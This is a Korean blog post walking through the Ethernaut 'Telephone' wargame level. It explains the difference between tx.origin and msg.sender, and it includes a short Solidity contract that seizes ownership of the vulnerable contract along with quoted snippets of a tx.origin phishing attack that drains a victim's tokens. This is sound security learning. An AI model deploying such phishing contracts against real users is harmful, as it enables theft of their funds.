티스토리 뷰

Claim ownership of the contract below to complete this level.
Things that might help
- See the "?" page above, section "Beyond the console"

해당 컨트랙트의 소유권을 빼앗으면 이번 레벨을 통과할 수 있다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

changeOwner() 함수에서 전달받은 _owner를 owner로 변경해준다.

하지만 그 전에 조건문에서 tx.origin과 msg.sender가 다른지를 확인한다. 이것이 무엇인지 공부해보았다.

 

tx.origin vs msg.sender

  • tx.origin
    • 솔리디티의 기본 전역변수
    • 실제 트랜잭션을 전송한 사용자(EOA)
  • msg.sender
    • 솔리디티의 기본 전역변수
    • 현재 호출의 발신자
    • EOA, CA 모두 msg.sender가 될 수 있음

msg.sender는 호출마다 변경되는 값이다.

 

다음의 두 가지 예시를 통해 조금 더 쉽게 알아보자.

1. EOA <-> 컨트랙트 A

tx.origin: EOA

msg.sender: EOA

 

2. EOA -> 컨트랙트 B -> 컨트랙트 A

(EOA가 컨트랙트 B를 배포한 후 B를 통해 A를 호출한 경우)
tx.origin: EOA

msg.sender: B

 

따라서 임의의 컨트랙트를 배포하여 changeOwner 함수를 호출해주기만 하면 될 것이다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Telephone.sol";

contract Solve {
    function run(address _address, address player) public {
        Telephone target = Telephone(_address);
        target.changeOwner(player);
    }
}

✌️

문제 보충 설명

While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as this.

An example of a possible attack is outlined below.

1. Use tx.origin to determine whose tokens to transfer, e.g.

function transfer(address _to, uint _value) {
  tokens[tx.origin] -= _value;
  tokens[_to] += _value;
}

2. Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.

function () payable {
  token.transfer(attackerAddress, 10000);
}

3. In this scenario, tx.origin will be the victim's address (while msg.sender will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.

 

솔리디티의 공식 문서에서도 tx.origin은 잘못 사용하면 피싱 공격으로 이어질 수도 있으니 사용하는 것을 지양하고 있다.

'Web3 > Wargame' 카테고리의 다른 글

[Ethernaut] Level 6 Delegation 풀이  (0) 2024.12.04
[Ethernaut] Level 5 Token 풀이  (1) 2024.12.03
[Ethernaut] Level 3 Coin Flip 풀이  (0) 2024.11.19
[Ethernaut] Level 2 Fallout 풀이  (0) 2024.11.19
[Ethernaut] Level 1 Fallback 풀이  (0) 2024.11.19
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
글 보관함